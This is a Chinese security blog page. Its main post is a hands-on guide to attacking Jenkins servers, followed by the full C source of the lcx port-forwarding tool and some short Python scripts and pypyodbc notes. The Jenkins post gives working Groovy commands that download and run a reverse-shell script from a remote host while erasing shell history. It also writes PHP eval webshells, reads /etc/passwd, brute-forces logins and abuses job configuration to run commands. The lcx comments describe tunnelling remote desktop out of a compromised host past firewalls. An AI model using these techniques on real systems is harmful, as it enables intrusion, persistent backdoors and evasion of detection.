知其一不知其二之Jenkins Hacking

发布时间:July 9, 2015 // 分类:linux,转帖文章,windows // No Comments

大多安全工作者听到jenkins都会知道有个未授权的命令执行

但是如果Script页面要授权才能访问呢 或者你的用户没有Overall/RunScripts权限呢

抱着提出问题-->测试问题-->解决问题的思路有了这篇文章

shot_jenkins

 

 

 

 

 

 

 

 

 

由于版本众多 也不用下载本地测了 直接在内网找到六个

 

jenkins_inner

 

 

 

 

截止发稿 Jenkins新版本为(1.589)

一、 知其一的Jenkins未授权访问可执行命令

 

http://www.secpulse.com:8080/manage

http://www.secpulse.com:8080/script

默认是8080端口 未授权访问就是任意用户都能访问 都能执行命令

jenkins_1

 

 

1) println "ifconfig -a".execute().text  执行一些系统命令

 

老外比较喜欢这样用:

def sout = new StringBuffer(), serr = new StringBuffer()

def proc = '[INSERT COMMAND]'.execute()

proc.consumeProcessOutput(sout, serr)

proc.waitForOrKill(1000)

println "out> $sout err> $serr"

 

 

2) 直接wget下载back.py反弹shell

 

println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text

println "python /tmp/back.py 10.1.1.111 8080".execute().text

 

back.py里面已经有了HISTFILE代码,会自动去掉各种history记录,确保shell断掉的时候不会被记录到.bash_history里面

back.py不需要root权限

jenkins_reverse_shell

 

 

3) 不想反弹试试Terminal Plugin

可以搜索安装Terminal Plugin

Terminal Plugin
https://wiki.jenkins-ci.org/display/JENKINS/Terminal+Plugin

jenkins_terminal

不想提权的话 还是蛮好用的终端插件 谁用谁知道~

二、不知其二之多种方式写shell

有时候其他端口有web,我们可以查看nginx/apache配置或者结合phpinfo写入webshell

 

尝试几次失败后开始翻阅Groovy  Script语法

The web site for Groovy is http://groovy.codehaus.org/

Groovy is a weakly-typed scripting language based on Java.

 

1)Groovy既然是基于Java的弱类型语言 那么先稍微提提它的语法

def name = 'Joe'

println "Hello $name"

//Hello Joe

 

def name = 'Joe'

println "Number of letters in $name is ${name.size( )}"

//Number of letters in Joe is 3

 

//Groovy I/O 文件读写

 
读文件

text = new File("/tmp/back.py").getText();

 
//eachLine -- 打开和读取文件的每一行

new File("/tmp/back.py").eachLine { 

println it;

}

//readLines

lineList = new File("/tmp/back.py").readLines();

lineList.each { 

println it.toUpperCase();

}

 

write轻轻松松写文件

new File("/tmp/1.php").write('Hello SecPulse');

 

多行写入

new File("/tmp/1.php").write("""

This is

just a test file

to play with

""");

 

 

2)几种写webshell的错误写法:

println "echo \'<?php @eval($_POST[c6md])?>\' > /var/www/html/media.php".execute().text

println "echo '<?php @eval(\$_POST[c6md])?>\' > /var/www/html/media.php ".execute().text

new File("/tmp/1.php").write("<?php @eval($_POST[s3cpu1se]);?>");

groovy.lang.MissingPropertyException: No such property: _POST for class: Script1

new File("/tmp/1.php").write("<?php @eval($\_POST[s3cpu1se]);?>");

new File("/tmp/1.php").write("<?php @eval(\$\_POST[s3cpu1se]);?>");

 

 

3)脑洞开 多种写webshell方法

① wget写webshell

println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/media.php".execute().text

②

new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');

③

def webshell = '<?php @eval($_POST[s3cpu1se]);?>'

new File("/var/www/html/media.php").write("$webshell");

 

④追加法写webshell

def execute(cmd) {

def proc =  cmd.execute()

proc.waitFor()

}

execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )

execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )

//参数-n 不要在最后自动换行

 

jenkins_webshell

 

Result: 0 表示成功写入

Result: 1 表示目录不存在或者权限不足 写入失败

Result: 2 表示构造有异常 写入失败

 

Hudson(jenkins类似)找"脚本命令行"

hudson

 

 

 

 

 

 

 

 

 

 

 

执行Groovy代码,读取服务器本地/etc/passwd文件:

try{

text = new File("/etc/passwd").getText();

out.print text

} catch(Exception e){

}

 

三、高逼格的Powershell&msf

https://github.com/samratashok/nishang

http://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console

http://www.labofapenetrationtester.com/2014/06/hacking-jenkins-servers.html

jenkins_msf_3

 

nishang是一个powershell脚本集 msf上面有jenkins对应的exploit 感觉都没必要

四、登录认证的突破

jenkins可以对每个用户分配不同的权限,如Overall/RunScripts或者Job/Configure权限

user_config_2

 

 

1)某些版本匿名用户可以访问asynchPeople 可爆破密码

(通常很多密码跟用户名一样或者是其他弱口令(top1000),尤其是内网)

 

//用户列表:包含所有已知“用户”,包括当前安全域中的登录ID和在变更记录的提交信的息里的人

http://jenkins.secpulse.com:8080/asynchPeople/

jenkins_asynchPeople

 

所有构建(builds)

http://jenkins.secpulse.com:8080/view/All/builds

可以导出为XML

http:// jenkins.secpulse.com:8080/view/All/cc.xml

userContent(一般就一个readme):

http:// jenkins.secpulse.com:8080/userContent/

Computers:

http:// jenkins.secpulse.com:8080/computer/

jenkins_computer

 

2) 熟练的猜密码

根据这些用户名 熟练的猜密码 我们的目标就是要一个有命令执行权限的用户(最好是这样,但也不苛求)

有时候是域认证的用户 爆破立马触发各种邮件报警 显然就不理智 端详猜密码是个绝技~

3) 构造精准字典,来爆破

最好是构造精准的字典 也可以是top1000之类的弱口令

jenkins_burp

爆破Payload里面的json串可以删除

主要根据location判断爆破成功与否

 

五、低权限用户命令执行突破

 

不小心猜了个用户 没有执行权限 但是有job查看和configure权限

http://jenkins.secpulse.com:8080/job/Job1/configure

jenkins_execute_shell_1

 

新加一个Execute Shell添加command  (win平台用Execute Windows batch command)

Cat /etc/passwd

Apply

添加左上侧 立即构建

Build History看到历史BuildId

右键

控制台输出

http://jenkins.secpulse.com:8080/job/Job1/300/console

纯文本方式

http://jenkins.secpulse.com:8080/job/Job1/300/consoleText

 

jenkins_execute_shell_3

 

 

 

 

 

 

 

 

 

 

 

 

 

 

jenkins_execute_shell_2

 

老外也有提及:http://www.labofapenetrationtester.com/2014/08/script-execution-and-privilege-esc-jenkins.html

 

六、asynchPeople等不能访问时候的突破

 

快速定位用户有妙招

1) 如果jobs能访问的话 各种翻jobs 会看到启动用户

jenkins_finduser_1

 

 

<p style="box-sizing: border-box; border: 0px; font-family: 'Microsoft YaHei', 微软雅黑, Helvetica, Arial, 'Lucida Grande', Tahoma, sans-serif; font-size: 16px; outline: 0px; padding: 0px; margin: 0px

lcx的源码

发布时间:July 5, 2015 // 分类:工作日志,代码学习,VC/C/C++,windows,生活琐事 // No Comments

// htran.cpp 
  
/* 
用法说明: 
[Usage of Packet Transmit:]  lcx.exe -<listen|tran|slave> <option> [-log logfile] 
 
[option:] 
  -listen <ConnectPort> <TransmitPort> 
  -tran   <ConnectPort> <TransmitHost> <TransmitPort> 
  -slave  <ConnectHost> <ConnectPort>  <TransmitHost> <TransmitPort> 
 
备注: 
-listen 后面接的两个端口都是监听功能,即:被动连接 
-tran   这个就是最容易理解的端口转发功能 
-slave  后面接的两个地址和端口都是指本机要去主动连接的 
 
反弹3389: 
1、肉鸡上运行:lcx.exe -slave 控制机IP 80 127.0.0.1 3389 
2、控制机运行:lcx.exe -listen 80 3389 
3、之后在控制机上连接本地的3389即可,这样做的效果就是通过80端口实现了远程桌面的功能,而且还是肉鸡自己反弹外连出来的,因此能很好的绕过防火墙和内网的限制。 
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <winsock2.h>  
#include <errno.h>  
#include <signal.h>  
#include <io.h>  
  
#pragma comment(lib, "ws2_32.lib")  
  
#define VERSION     "1.00"  
#define TIMEOUT     300  
#define MAXSIZE     20480 //20KB  
#define HOSTLEN     40  
#define CONNECTNUM  5  
  
struct transocket  
{  
    SOCKET fd1;  
    SOCKET fd2;  
};  
  
//void ver();  
//void proxy(int port);  
  
void usage(char *prog);  
  
void getctrlc(int j);  
void closeallfd();  
void makelog(char *buffer, int length);  
int testifisvalue(char *str);  
  
void bind2bind(int port1, int port2);  
void bind2conn(int port1, char *host, int port2);  
void conn2conn(char *host1, int port1, char *host2, int port2);  
  
int create_socket();  
int create_server(int sockfd, int port);  
int client_connect(int sockfd, char* server, int port);  
  
void transmitdata(LPVOID data);  
  
extern int errno;  
  
FILE *fp;  
  
int method=0;  
  
VOID main(int argc, char* argv[])  
{  
    char **p;  
  
    char sConnectHost[HOSTLEN];  
    char sTransmitHost[HOSTLEN];  
  
    int iConnectPort=0;  
    int iTransmitPort=0;  
  
    char *logfile=NULL;  
  
    memset(sConnectHost, 0, HOSTLEN);  
    memset(sTransmitHost, 0, HOSTLEN);  
  
    p=argv;  
    while(*p)  
    {  
        if(_stricmp(*p, "-log") == 0)  
        {  
            if(testifisvalue(*(p+1)))  
            {  
                logfile = *(++p);  
            }  
            else  
            {  
                printf("[-] ERROR: Must supply logfile name.\r\n");  
                return;  
            }  
            p++;  
            continue;  
        }  
  
        p++;  
    }  
  
    if(logfile !=NULL)  
    {  
        fp = fopen(logfile,"a");  
        if(fp == NULL )  
        {  
            printf("[-] ERROR: open logfile");  
            return;  
        }  
  
        makelog("====== Start ======\r\n", 0);  
    }  
  
    WSADATA wsadata;  
    WSAStartup(MAKEWORD(1, 1), &wsadata);  
  
    signal(SIGINT, &getctrlc);  
  
    if(argc > 2)  
    {  
        if(_stricmp(argv[1], "-listen") == 0 && argc >= 4)  
        {  
            iConnectPort = atoi(argv[2]);  
            iTransmitPort = atoi(argv[3]);  
            method = 1;  
        }  
        else if(_stricmp(argv[1], "-tran") == 0 && argc >= 5)  
        {  
            iConnectPort = atoi(argv[2]);  
            strncpy(sTransmitHost, argv[3], HOSTLEN);  
            iTransmitPort = atoi(argv[4]);  
            method = 2;  
        }  
        else if(_stricmp(argv[1], "-slave") == 0 && argc >= 6)  
        {  
            strncpy(sConnectHost, argv[2], HOSTLEN);  
            iConnectPort = atoi(argv[3]);  
            strncpy(sTransmitHost, argv[4], HOSTLEN);  
            iTransmitPort = atoi(argv[5]);  
            method = 3;  
        }  
    }  
  
    switch(method)  
    {  
    case 1:  
        bind2bind(iConnectPort, iTransmitPort);  
        break;  
    case 2:  
        bind2conn(iConnectPort, sTransmitHost, iTransmitPort);  
        break;  
    case 3:  
        conn2conn(sConnectHost, iConnectPort, sTransmitHost, iTransmitPort);  
        break;  
    default:  
        usage(argv[0]);  
        break;  
    }  
  
    if(method)  
    {  
        closeallfd();  
    }  
  
    WSACleanup();  
  
    return;  
}  
  
VOID usage(char* prog)  
{  
    printf("[Usage of Packet Transmit:]\r\n");  
    printf(" %s -<listen|tran|slave> <option> [-log logfile]\n\n", prog);  
    printf("[option:]\n");  
    printf(" -listen <ConnectPort> <TransmitPort>\n");  
    printf(" -tran   <ConnectPort> <TransmitHost> <TransmitPort>\n");  
    printf(" -slave  <ConnectHost> <ConnectPort>  <TransmitHost> <TransmitPort>\n\n");  
  
    return;  
}  
  
//************************************************************************************  
//  
// test if is value  
//  
//************************************************************************************  
int testifisvalue(char *str)  
{  
    if(str == NULL ) return(0);  
  
    if(str[0]=='-') return(0);  
  
    return(1);  
}  
  
//************************************************************************************  
//  
// LocalHost:ConnectPort transmit to LocalHost:TransmitPort  
//  
//************************************************************************************  
void bind2bind(int port1, int port2)  
{  
    SOCKET fd1,fd2,sockfd1,sockfd2;  
    struct sockaddr_in client1,client2;  
    int size1,size2;  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
  
    if((fd1=create_socket())==0) return;  
    if((fd2=create_socket())==0) return;  
  
    printf("[+] Listening port %d ......\r\n",port1);  
    fflush(stdout);  
  
    if(create_server(fd1, port1)==0)  
    {  
        closesocket(fd1);  
        return;  
    }  
  
    printf("[+] Listen OK!\r\n");  
    printf("[+] Listening port %d ......\r\n",port2);  
    fflush(stdout);  
  
    if(create_server(fd2, port2)==0)  
    {  
        closesocket(fd2);  
        return;  
    }  
  
    printf("[+] Listen OK!\r\n");  
    size1=size2=sizeof(struct sockaddr);  
  
    while(1)  
    {  
        printf("[+] Waiting for Client on port:%d ......\r\n",port1);  
        if((sockfd1 = accept(fd1,(struct sockaddr *)&client1,&size1))<0)  
        {  
            printf("[-] Accept1 error.\r\n");  
            continue;  
        }  
  
        printf("[+] Accept a Client on port %d from %s ......\r\n", port1, inet_ntoa(client1.sin_addr));  
        printf("[+] Waiting another Client on port:%d....\r\n", port2);  
        if((sockfd2 = accept(fd2, (struct sockaddr *)&client2, &size2))<0)  
        {  
            printf("[-] Accept2 error.\r\n");  
            closesocket(sockfd1);  
            continue;  
        }  
  
        printf("[+] Accept a Client on port %d from %s\r\n",port2, inet_ntoa(client2.sin_addr));  
        printf("[+] Accept Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// LocalHost:ConnectPort transmit to TransmitHost:TransmitPort  
//  
//************************************************************************************  
void bind2conn(int port1, char *host, int port2)  
{  
    SOCKET sockfd,sockfd1,sockfd2;  
    struct sockaddr_in remote;  
    int size;  
    char buffer[1024];  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
  
    if (port1 > 65535 || port1 < 1)  
    {  
        printf("[-] ConnectPort invalid.\r\n");  
        return;  
    }  
  
    if (port2 > 65535 || port2 < 1)  
    {  
        printf("[-] TransmitPort invalid.\r\n");  
        return;  
    }  
  
    memset(buffer,0,1024);  
  
    if((sockfd=create_socket()) == INVALID_SOCKET) return;  
  
    if(create_server(sockfd, port1) == 0)  
    {  
        closesocket(sockfd);  
        return;  
    }  
  
    size=sizeof(struct sockaddr);  
    while(1)  
    {  
        printf("[+] Waiting for Client ......\r\n");  
        if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,&size))<0)  
        {  
            printf("[-] Accept error.\r\n");  
            continue;  
        }  
        printf("[+] Accept a Client from %s:%d ......\r\n", inet_ntoa(remote.sin_addr), ntohs(remote.sin_port));  
        if((sockfd2=create_socket())==0)  
        {  
            closesocket(sockfd1);  
            continue;  
        }  
        printf("[+] Make a Connection to %s:%d ......\r\n",host,port2);  
        fflush(stdout);  
        if(client_connect(sockfd2,host,port2)==0)  
        {  
            closesocket(sockfd2);  
            sprintf(buffer,"[SERVER]connection to %s:%d error\r\n", host, port2);  
            send(sockfd1,buffer,strlen(buffer),0);  
            memset(buffer, 0, 1024);  
            closesocket(sockfd1);  
            continue;  
        }  
  
        printf("[+] Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// ConnectHost:ConnectPort transmit to TransmitHost:TransmitPort  
//  
//************************************************************************************  
void conn2conn(char *host1,int port1,char *host2,int port2)  
{  
    SOCKET sockfd1,sockfd2;  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
    fd_set fds;  
    int l;  
    char buffer[MAXSIZE];  
  
    while(1)  
    {  
        if((sockfd1=create_socket())==0) return;  
        if((sockfd2=create_socket())==0) return;  
  
        printf("[+] Make a Connection to %s:%d....\r\n",host1,port1);  
        fflush(stdout);  
        if(client_connect(sockfd1,host1,port1)==0)  
        {  
            closesocket(sockfd1);  
            closesocket(sockfd2);  
            continue;  
        }  
  
        // fix by bkbll  
        // if host1:port1 recved data, than connect to host2,port2  
        l=0;  
        memset(buffer,0,MAXSIZE);  
        while(1)  
        {  
            FD_ZERO(&fds);  
            FD_SET(sockfd1, &fds);  
  
            if (select(sockfd1+1, &fds, NULL, NULL, NULL) == SOCKET_ERROR)  
            {  
                if (errno == WSAEINTR) continue;  
                break;  
            }  
            if (FD_ISSET(sockfd1, &fds))  
            {  
                l=recv(sockfd1, buffer, MAXSIZE, 0);  
                break;  
            }  
            Sleep(5);  
        }  
  
        if(l<=0)  
        {  
            printf("[-] There is a error...Create a new connection.\r\n");  
            continue;  
        }  
        while(1)  
        {  
            printf("[+] Connect OK!\r\n");  
            printf("[+] Make a Connection to %s:%d....\r\n", host2,port2);  
            fflush(stdout);  
            if(client_connect(sockfd2,host2,port2)==0)  
            {  
                closesocket(sockfd1);  
                closesocket(sockfd2);  
                continue;  
            }  
  
            if(send(sockfd2,buffer,l,0)==SOCKET_ERROR)  
            {  
                printf("[-] Send failed.\r\n");  
                continue;  
            }  
  
            l=0;  
            memset(buffer,0,MAXSIZE);  
            break;  
        }  
  
        printf("[+] All Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// Socket Transmit to Socket  
//  
//************************************************************************************  
void transmitdata(LPVOID data)  
{  
    SOCKET fd1, fd2;  
  
    transocket *sock;  
    struct timeval timeset;  
    fd_set readfd,writefd;  
  
    int result,i=0;  
  
    char read_in1[MAXSIZE],send_out1[MAXSIZE];  
    char read_in2[MAXSIZE],send_out2[MAXSIZE];  
  
    int read1=0,totalread1=0,send1=0;  
    int read2=0,totalread2=0,send2=0;  
  
    int sendcount1,sendcount2;  
  
    int maxfd;  
  
    struct sockaddr_in client1,client2;  
    int structsize1,structsize2;  
  
    char host1[20],host2[20];  
    int port1=0,port2=0;  
  
    char tmpbuf[100];  
  
    sock = (transocket *)data;  
    fd1 = sock->fd1;  
    fd2 = sock->fd2;  
  
    memset(host1,0,20);  
    memset(host2,0,20);  
    memset(tmpbuf,0,100);  
  
    structsize1=sizeof(struct sockaddr);  
    structsize2=sizeof(struct sockaddr);  
  
    if(getpeername(fd1,(struct sockaddr *)&client1,&structsize1)<0)  
    {  
        strcpy(host1, "fd1");  
    }  
    else  
    {  
        strcpy(host1, inet_ntoa(client1.sin_addr));  
        port1=ntohs(client1.sin_port);  
    }  
  
    if(getpeername(fd2,(struct sockaddr *)&client2,&structsize2)<0)  
    {  
        strcpy(host2,"fd2");  
    }  
    else  
    {  
        strcpy(host2, inet_ntoa(client2.sin_addr));  
        port2=ntohs(client2.sin_port);  
    }  
  
    printf("[+] Start Transmit (%s:%d <-> %s:%d) ......\r\n\n", host1, port1, host2, port2);  
  
    maxfd=max(fd1,fd2)+1;  
    memset(read_in1,0,MAXSIZE);  
    memset(read_in2,0,MAXSIZE);  
    memset(send_out1,0,MAXSIZE);  
    memset(send_out2,0,MAXSIZE);  
  
    timeset.tv_sec=TIMEOUT;  
    timeset.tv_usec=0;  
  
    while(1)  
    {  
        FD_ZERO(&readfd);  
        FD_ZERO(&writefd);  
  
        FD_SET((UINT)fd1, &readfd);  
        FD_SET((UINT)fd1, &writefd);  
        FD_SET((UINT)fd2, &writefd);  
        FD_SET((UINT)fd2, &readfd);  
  
        result=select(maxfd,&readfd,&writefd,NULL,&timeset);  
        if((result<0) && (errno!=EINTR))  
        {  
            printf("[-] Select error.\r\n");  
            break;  
        }  
        else if(result==0)  
        {  
            printf("[-] Socket time out.\r\n");  
            break;  
        }  
  
        if(FD_ISSET(fd1, &readfd))  
        {  
            /* must < MAXSIZE-totalread1, otherwise send_out1 will flow */  
            if(totalread1<MAXSIZE)  
            {  
                read1=recv(fd1, read_in1, MAXSIZE-totalread1, 0);  
                if((read1==SOCKET_ERROR) || (read1==0))  
                {  
                    printf("[-] Read fd1 data error,maybe close?\r\n");  
                    break;  
                }  
  
                memcpy(send_out1+totalread1,read_in1,read1);  
                sprintf(tmpbuf,"\r\nRecv %5d bytes from %s:%d\r\n", read1, host1, port1);  
                printf(" Recv %5d bytes %16s:%d\r\n", read1, host1, port1);  
  
                makelog(tmpbuf,strlen(tmpbuf));  
                makelog(read_in1,read1);  
  
                totalread1+=read1;  
                memset(read_in1,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd2, &writefd))  
        {  
            int err=0;  
            sendcount1=0;  
            while(totalread1>0)  
            {  
                send1=send(fd2, send_out1+sendcount1, totalread1, 0);  
  
                if(send1==0) break;  
  
                if((send1<0) && (errno!=EINTR))  
                {  
                    printf("[-] Send to fd2 unknow error.\r\n");  
                    err=1;  
                    break;  
                }  
  
                if((send1<0) && (errno==ENOSPC)) break;  
  
                sendcount1+=send1;  
                totalread1-=send1;  
  
                printf(" Send %5d bytes %16s:%d\r\n", send1, host2, port2);  
            }  
  
            if(err==1) break;  
  
            if((totalread1>0) && (sendcount1>0))  
            {  
                /* move not sended data to start addr */  
                memcpy(send_out1,send_out1+sendcount1,totalread1);  
                memset(send_out1+totalread1,0,MAXSIZE-totalread1);  
            }  
            else  
            {  
                memset(send_out1,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd2, &readfd))  
        {  
            if(totalread2<MAXSIZE)  
            {  
                read2=recv(fd2,read_in2,MAXSIZE-totalread2, 0);  
  
                if(read2==0) break;  
  
                if((read2<0) && (errno!=EINTR))  
                {  
                    printf("[-] Read fd2 data error,maybe close?\r\n\r\n");  
                    break;  
                }  
  
                memcpy(send_out2+totalread2,read_in2,read2);  
                sprintf(tmpbuf, "\r\nRecv %5d bytes from %s:%d\r\n", read2, host2, port2);  
                printf(" Recv %5d bytes %16s:%d\r\n", read2, host2, port2);  
  
                makelog(tmpbuf,strlen(tmpbuf));  
                makelog(read_in2,read2);  
  
                totalread2+=read2;  
                memset(read_in2,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd1, &writefd))  
        {  
            int err2=0;  
            sendcount2=0;  
            while(totalread2>0)  
            {  
                send2=send(fd1, send_out2+sendcount2, totalread2, 0);  
  
                if(send2==0) break;  
  
                if((send2<0) && (errno!=EINTR))  
                {  
                    printf("[-] Send to fd1 unknow error.\r\n");  
                    err2=1;  
                    break;  
                }  
  
                if((send2<0) && (errno==ENOSPC)) break;  
  
                sendcount2+=send2;  
                totalread2-=send2;  
  
                printf(" Send %5d bytes %16s:%d\r\n", send2, host1, port1);  
            }  
  
            if(err2==1) break;  
            if((totalread2>0) && (sendcount2 > 0))  
            {  
                /* move not sended data to start addr */  
                memcpy(send_out2, send_out2+sendcount2, totalread2);  
                memset(send_out2+totalread2, 0, MAXSIZE-totalread2);  
            }  
            else  
            {  
                memset(send_out2,0,MAXSIZE);  
            }  
        }  
  
        Sleep(5);  
    }  
  
    closesocket(fd1);  
    closesocket(fd2);  
  
    printf("\r\n[+] OK! I Closed The Two Socket.\r\n");  
}  
  
int create_socket()  
{  
    int sockfd;  
  
    sockfd=socket(AF_INET,SOCK_STREAM,0);  
    if(sockfd<0)  
    {  
        printf("[-] Create socket error.\r\n");  
        return(0);  
    }  
  
    return(sockfd);  
}  
  
int create_server(int sockfd,int port)  
{  
    struct sockaddr_in srvaddr;  
    int on=1;  
  
    memset(&srvaddr, 0, sizeof(struct sockaddr));  
  
    srvaddr.sin_port=htons(port);  
    srvaddr.sin_family=AF_INET;  
    srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);  
  
    setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR, (char*)&on,sizeof(on)); //so I can rebind the port  
  
    if(bind(sockfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)  
    {  
        printf("[-] Socket bind error.\r\n");  
        return(0);  
    }  
  
    if(listen(sockfd,CONNECTNUM)<0)  
    {  
        printf("[-] Socket Listen error.\r\n");  
        return(0);  
    }  
  
    return(1);  
}  
  
int client_connect(int sockfd,char* server,int port)  
{  
    struct sockaddr_in cliaddr;  
    struct hostent *host;  
  
    if(!(host=gethostbyname(server)))  
    {  
        printf("[-] Gethostbyname(%s) error:%s\n",server,0);  
        return(0);  
    }  
  
    memset(&cliaddr, 0, sizeof(struct sockaddr));  
    cliaddr.sin_family=AF_INET;  
    cliaddr.sin_port=htons(port);  
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);  
  
    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)  
    {  
        printf("[-] Connect error.\r\n");  
        return(0);  
    }  
    return(1);  
}  
  
void makelog(char *buffer,int length)  
{  
    if (0 == length)  
    {  
        length = strlen(buffer);  
    }  
  
    if (fp != NULL)  
    {  
        _write(_fileno(fp),buffer,length);  
    }  
}  
  
void getctrlc(int j)  
{  
    printf("\r\n[-] Received Ctrl+C\r\n");  
    closeallfd();  
    exit(0);  
}  
  
void closeallfd()  
{  
    int i;  
  
    printf("[+] Let me exit ......\r\n");  
    fflush(stdout);  
  
    for(i=3; i<256; i++)  
    {  
        closesocket(i);  
    }  
  
    if(fp != NULL)  
    {  
        fprintf(fp,"\r\n====== Exit ======\r\n");  
        fclose(fp);  
    }  
  
    printf("[+] All Right!\r\n");  
}  

 

python 域名转IP

发布时间:July 2, 2015 // 分类:工作日志,开发笔记,运维工作,linux,代码学习,windows,python // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import urlparse

def getIp(domain):
    trytime = 0
    while True:
         try:
            domain = domain.split(':')[0]
            myaddr = socket.getaddrinfo(domain,None)[0][4][0]
            return myaddr
         except:
            trytime+=1
            if trytime>3:
                return ""

if __name__=='__main__':
    www = "http://0cx.cc"
    hosts = urlparse.urlsplit(www)
    if ":" in hosts.netloc:
        host = hosts.netloc.split(":")[0]
        port = hosts.netloc.split(":")[1]
    else:
        host = hosts.netloc
        port = '80'
        print getIp(host)

 

最近在抓几个payload(java反序列的),准备拿socket来实现。暂时只能是模拟发包。

抓包工具 wireshark
在线python 沙盒 http://www.runoob.com/try/runcode.php?filename=HelloWorld&type=python

主要为了方便部分是有域名的。同时域名会转换为IP而准备的。一个从谷歌的搜索抓取结果的脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os,sys,requests,re
import pdb,urllib
from urllib import unquote
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
    'content-type': 'application/x-www-form-urlencoded',
    }
def google(domain):
    #domain ='site:0day5.com inurl:php'
    r =requests.get('https://www.google.com.hk/search?q='+domain+'&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8&start=1&num=1000&',headers=headers)
    matc = re.findall('u=(.*?)&amp;prev=search',r.content)
    #page = re.findall("<div id=\"resultStats\">(.*?)<nobr>",r.text)
    #print page
    for url in matc:
        print unquote(url)

if __name__=="__main__": 
      
    if len(sys.argv)!=2: 
        print "Usage:"+"python"+" test.py "+"keywords"
        print "example:"+"python test.py site:0day5.com"
        sys.exit() 
    else: 
        google(sys.argv[1])

一个svn的探测脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
r = requests.get('http://www.baidu.com/.svn/entries')
#print r.headers
get=r.text.split('\n')
dir=[get[i-1] for i in range(len(get)) if get[i]=='dir' and get[i-1]!='']
file=[get[i-1] for i in range(len(get)) if get[i]=='file' and get[i-1]!='']
print dir
print file

 

about pypyodbc

发布时间:June 26, 2015 // 分类:工作日志,运维工作,linux,代码学习,转帖文章,windows,python // No Comments

Connect to a Database

Make a direct connection to a database and create a cursor.

cnxn = pypyodbc.connect('DRIVER={SQL Server};SERVER=localhost;DATABASE=testdb;UID=me;PWD=pass')
cursor = cnxn.cursor()

Make a connection using a DSN. Since DSNs usually don't store passwords, you'll probably need to provide the PWD keyword.

cnxn = pypyodbc.connect('DSN=test;PWD=password')
cursor = cnxn.cursor()

There are lots of options when connecting, so see the connect function and ConnectionStrings for more details.

Selecting Some Data

Select Basics

All SQL statements are executed using the cursor.execute function. If the statement returns rows, such as a select statement, 

you can retreive them using the Cursor fetch functions (fetchonefetchallfetchmany). If there are no rows, fetchone will return None; 

fetchall and fetchmany will both return empty lists.

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
if row:
    print row

Row objects are similar to tuples, but they also allow access to columns by name:

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
print 'name:', row[1]          # access by column index
print 'name:', row.user_name   # or access by name

The fetchone function returns None when all rows have been retrieved.

while 1:
    row = cursor.fetchone()
    if not row:
        break
    print 'id:', row.user_id

The fetchall function returns all remaining rows in a list. If there are no rows, an empty list is returned. 

(If there are a lot of rows, this will use a lot of memory. Unread rows are stored by the database driver in a compact format and are often sent in batches from the database server. 

Reading in only the rows you need at one time will save a lot of memory.)

cursor.execute("select user_id, user_name from users")
rows = cursor.fetchall()
for row in rows:
    print row.user_id, row.user_name

If you are going to process the rows one at a time, you can use the cursor itself as an interator:

cursor.execute("select user_id, user_name from users"):
for row in cursor:
    print row.user_id, row.user_name

Since cursor.execute always returns the cursor, you can simplify this even more:

for row in cursor.execute("select user_id, user_name from users"):
    print row.user_id, row.user_name

A lot of SQL statements don't fit on one line very easily, so you can always use triple quoted strings:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < '2001-01-01'
                  and bill_overdue = 'y'
               """)

Parameters

ODBC supports parameters using a question mark as a place holder in the SQL. 

You provide the values for the question marks by passing them after the SQL:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, '2001-01-01', 'y')

This is safer than putting the values into the string because the parameters are passed to the database separately, protecting against SQL injection attacks

